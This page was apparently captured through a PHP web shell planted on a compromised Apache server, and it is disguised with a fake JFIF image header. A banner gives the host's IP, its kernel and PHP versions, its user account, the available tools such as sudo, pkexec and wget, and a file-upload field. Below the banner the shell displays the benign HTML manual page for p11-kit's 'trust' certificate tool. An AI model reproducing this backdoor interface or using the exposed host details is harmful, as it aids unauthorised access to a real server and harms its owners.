????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.23.60.252 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/doc/libp11-kit-dev/html/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>trust</title> <meta name="generator" content="DocBook XSL Stylesheets V1.78.1"> <link rel="home" href="index.html" title="p11-kit"> <link rel="up" href="tools.html" title="Manual Pages"> <link rel="prev" href="pkcs11-conf.html" title="pkcs11.conf"> <link rel="next" href="reference.html" title="API Reference"> <meta name="generator" content="GTK-Doc V1.19 (XML mode)"> <link rel="stylesheet" href="style.css" type="text/css"> </head> <body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"> <table class="navigation" id="top" width="100%" summary="Navigation header" cellpadding="2" cellspacing="2"><tr valign="middle"> <td><a accesskey="p" href="pkcs11-conf.html"><img src="left.png" width="24" height="24" border="0" alt="Prev"></a></td> <td><a accesskey="u" href="tools.html"><img src="up.png" width="24" height="24" border="0" alt="Up"></a></td> <td><a accesskey="h" href="index.html"><img src="home.png" width="24" height="24" border="0" alt="Home"></a></td> <th width="100%" align="center">p11-kit</th> <td><a accesskey="n" href="reference.html"><img src="right.png" width="24" height="24" border="0" alt="Next"></a></td> </tr></table> <div class="refentry"> <a name="trust"></a><div class="titlepage"></div> <div class="refnamediv"><table width="100%"><tr> <td valign="top"> <h2><span class="refentrytitle">trust</span></h2> <p>trust — Tool for operating on the trust policy store</p> </td> <td valign="top" align="right"></td> </tr></table></div> <div class="refsynopsisdiv"> <h2>Synopsis</h2> <div class="cmdsynopsis"><p><code class="command">trust list</code> </p></div> <div class="cmdsynopsis"><p><code class="command">trust extract</code> --filter=<what> --format=<type> /path/to/destination </p></div> <div class="cmdsynopsis"><p><code class="command">trust anchor</code> /path/to/certificate.crt </p></div> </div> <div class="refsect1"> <a name="trust-description"></a><h2>Description</h2> <p><span class="command"><strong>trust</strong></span> is a command line tool to examine and modify the shared trust policy store.</p> <p>See the various sub commands below. The following global options can be used:</p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><code class="option">-v, --verbose</code></span></p></td> <td><p>Run in verbose mode with debug output.</p></td> </tr> <tr> <td><p><span class="term"><code class="option">-q, --quiet</code></span></p></td> <td><p>Run in quiet mode without warning or failure messages.</p></td> </tr> </tbody> </table></div> </div> <div class="refsect1"> <a name="trust-list"></a><h2>List</h2> <p>List trust policy store items.</p> <pre class="programlisting"> $ trust list </pre> <p>List information about the various items in the trust policy store. Each item is listed with it's PKCS#11 URI and some descriptive information.</p> <p>You can specify the following options to control what to list.</p> <dt><span class="term"><code class="option">--filter=<what></code></span></dt> <dd> <p>Specifies what certificates to extract. You can specify the following values: </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><code class="option">ca-anchors</code></span></p></td> <td><p>Certificate anchors</p></td> </tr> <tr> <td><p><span class="term"><code class="option">trust-policy</code></span></p></td> <td><p>Anchors and blacklist (default)</p></td> </tr> <tr> <td><p><span class="term"><code class="option">blacklist</code></span></p></td> <td><p>Blacklisted certificates</p></td> </tr> <tr> <td><p><span class="term"><code class="option">certificates</code></span></p></td> <td><p>All certificates</p></td> </tr> <tr> <td><p><span class="term"><code class="option">pkcs11:object=xx</code></span></p></td> <td><p>A PKCS#11 URI to filter with</p></td> </tr> </tbody> </table></div> <p> </p> <p>If an output format is chosen that cannot support type what has been specified by the filter, a message will be printed.</p> <p>None of the available formats support storage of blacklist entries that do not contain a full certificate. Thus any certificates blacklisted by their issuer and serial number alone, are not included in the extracted blacklist.</p> </dd> <dt><span class="term"><code class="option">--purpose=<usage></code></span></dt> <dd> <p>Limit to certificates usable for the given purpose You can specify one of the following values: </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><code class="option">server-auth</code></span></p></td> <td><p>For authenticating servers</p></td> </tr> <tr> <td><p><span class="term"><code class="option">client-auth</code></span></p></td> <td><p>For authenticating clients</p></td> </tr> <tr> <td><p><span class="term"><code class="option">email</code></span></p></td> <td><p>For email protection</p></td> </tr> <tr> <td><p><span class="term"><code class="option">code-signing</code></span></p></td> <td><p>For authenticated signed code</p></td> </tr> <tr> <td><p><span class="term"><code class="option">1.2.3.4.5...</code></span></p></td> <td><p>An arbitrary purpose OID</p></td> </tr> </tbody> </table></div> <p> </p> </dd> </div> <div class="refsect1"> <a name="trust-anchor"></a><h2>Anchor</h2> <p>Store or remove trust anchors.</p> <pre class="programlisting"> $ trust anchor /path/to/certificate.crt $ trust anchor --remove /path/to/certificate.crt $ trust anchor --remove "pkcs11:id=%AA%BB%CC%DD%EE;object-type=cert" </pre> <p>Store or remove trust anchors in the trust policy store. These are usually root certificate authorities.</p> <p>Specify either the <code class="option">--store</code> or <code class="option">--remove</code> operations. If no operation is specified then <code class="option">--store</code> is assumed.</p> <p>When storing, one or more certificate files are expected on the command line. These are stored as anchors, unless they are already present.</p> <p>When removing an anchor, either specify certificate files or PKCS#11 URI's on the command line. Matching anchors will be removed.</p> <p>It may be that this command needs to be run as root in order to modify the system trust policy store, if no user specific store is available.</p> <p>You can specify the following options.</p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><code class="option">--remove</code></span></p></td> <td><p>Remove one or more anchors from the trust policy store. Specify certificate files or PKCS#11 URI's on the command line.</p></td> </tr> <tr> <td><p><span class="term"><code class="option">--store</code></span></p></td> <td><p>Store one or more anchors to the trust policy store. Specify certificate files on the command line.</p></td> </tr> </tbody> </table></div> </div> <div class="refsect1"> <a name="trust-extract"></a><h2>Extract</h2> <p>Extract trust policy from the shared trust policy store.</p> <pre class="programlisting"> $ trust extract --format=x509-directory --filter=ca-anchors /path/to/directory </pre> <p>You can specify the following options to control what to extract. The <code class="option">--filter</code> and <code class="option">--format</code> arguments should be specified. By default this command will not overwrite the destination file or directory.</p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><code class="option">--comment</code></span></p></td> <td><p>Add identifying comments to PEM bundle output files before each certificate.</p></td> </tr> <tr> <td><p><span class="term"><code class="option">--filter=<what></code></span></p></td> <td> <p>Specifies what certificates to extract. You can specify the following values: </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><code class="option">ca-anchors</code></span></p></td> <td><p>Certificate anchors (default)</p></td> </tr> <tr> <td><p><span class="term"><code class="option">trust-policy</code></span></p></td> <td><p>Anchors and blacklist</p></td> </tr> <tr> <td><p><span class="term"><code class="option">blacklist</code></span></p></td> <td><p>Blacklisted certificates</p></td> </tr> <tr> <td><p><span class="term"><code class="option">certificates</code></span></p></td> <td><p>All certificates</p></td> </tr> <tr> <td><p><span class="term"><code class="option">pkcs11:object=xx</code></span></p></td> <td><p>A PKCS#11 URI</p></td> </tr> </tbody> </table></div> <p> </p> <p>If an output format is chosen that cannot support type what has been specified by the filter, a message will be printed.</p> <p>None of the available formats support storage of blacklist entries that do not contain a full certificate. Thus any certificates blacklisted by their issuer and serial number alone, are not included in the extracted blacklist.</p> </td> </tr> <tr> <td><p><span class="term"><code class="option">--format=<type></code></span></p></td> <td> <p>The format of the destination file or directory. You can specify one of the following values: </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><code class="option">x509-file</code></span></p></td> <td><p>DER X.509 certificate file</p></td> </tr> <tr> <td><p><span class="term"><code class="option">x509-directory</code></span></p></td> <td><p>directory of X.509 certificates</p></td> </tr> <tr> <td><p><span class="term"><code class="option">pem-bundle</code></span></p></td> <td><p>File containing one or more certificate PEM blocks</p></td> </tr> <tr> <td><p><span class="term"><code class="option">pem-directory</code></span></p></td> <td><p>Directory PEM files each containing one certifiacte</p></td> </tr> <tr> <td><p><span class="term"><code class="option">openssl-bundle</code></span></p></td> <td><p>OpenSSL specific PEM bundle of certificates</p></td> </tr> <tr> <td><p><span class="term"><code class="option">openssl-directory</code></span></p></td> <td><p>Directory of OpenSSL specific PEM files</p></td> </tr> <tr> <td><p><span class="term"><code class="option">java-cacerts</code></span></p></td> <td><p>Java keystore 'cacerts' certificate bundle</p></td> </tr> </tbody> </table></div> <p> </p> </td> </tr> <tr> <td><p><span class="term"><code class="option">--overwrite</code></span></p></td> <td><p>Overwrite output file or directory.</p></td> </tr> <tr> <td><p><span class="term"><code class="option">--purpose=<usage></code></span></p></td> <td> <p>Limit to certificates usable for the given purpose You can specify one of the following values: </p> <div class="variablelist"><table border="0" class="variablelist"> <colgroup> <col align="left" valign="top"> <col> </colgroup> <tbody> <tr> <td><p><span class="term"><code class="option">server-auth</code></span></p></td> <td><p>For authenticating servers</p></td> </tr> <tr> <td><p><span class="term"><code class="option">client-auth</code></span></p></td> <td><p>For authenticating clients</p></td> </tr> <tr> <td><p><span class="term"><code class="option">email</code></span></p></td> <td><p>For email protection</p></td> </tr> <tr> <td><p><span class="term"><code class="option">code-signing</code></span></p></td> <td><p>For authenticated signed code</p></td> </tr> <tr> <td><p><span class="term"><code class="option">1.2.3.4.5...</code></span></p></td> <td><p>An arbitrary purpose OID</p></td> </tr> </tbody> </table></div> <p> </p> </td> </tr> </tbody> </table></div> </div> <div class="refsect1"> <a name="trust-extract-compat"></a><h2>Extract Compat</h2> <p>Extract compatibility trust certificate bundles.</p> <pre class="programlisting"> $ trust extract-compat </pre> <p>OpenSSL, Java and some versions of GnuTLS cannot currently read trust information directly from the trust policy store. This command extracts trust information such as certificate anchors for use by these libraries.</p> <p>What this command does, and where it extracts the files is distribution or site specific. Packagers or administrators are expected customize this command.</p> </div> <div class="refsect1"> <a name="trust-bugs"></a><h2>Bugs</h2> <p> Please send bug reports to either the distribution bug tracker or the upstream bug tracker at <a class="ulink" href="https://bugs.freedesktop.org/enter_bug.cgi?product=p11-glue&component=p11-kit" target="_top">https://bugs.freedesktop.org/enter_bug.cgi?product=p11-glue&component=p11-kit</a>. </p> </div> <div class="refsect1"> <a name="trust-see-also"></a><h2>See also</h2> <span class="simplelist"><span class="citerefentry"><span class="refentrytitle">p11-kit</span>(8)</span></span><p>An explanatory document about storing trust policy: <a class="ulink" href="http://p11-glue.freedesktop.org/doc/storing-trust-policy/" target="_top">http://p11-glue.freedesktop.org/doc/storing-trust-policy/</a></p> <p> Further details available in the p11-kit online documentation at <a class="ulink" href="http://p11-glue.freedesktop.org/doc/p11-kit/" target="_top">http://p11-glue.freedesktop.org/doc/p11-kit/</a>. </p> </div> </div> <div class="footer"> <hr> Generated by GTK-Doc V1.19</div> </body> </html>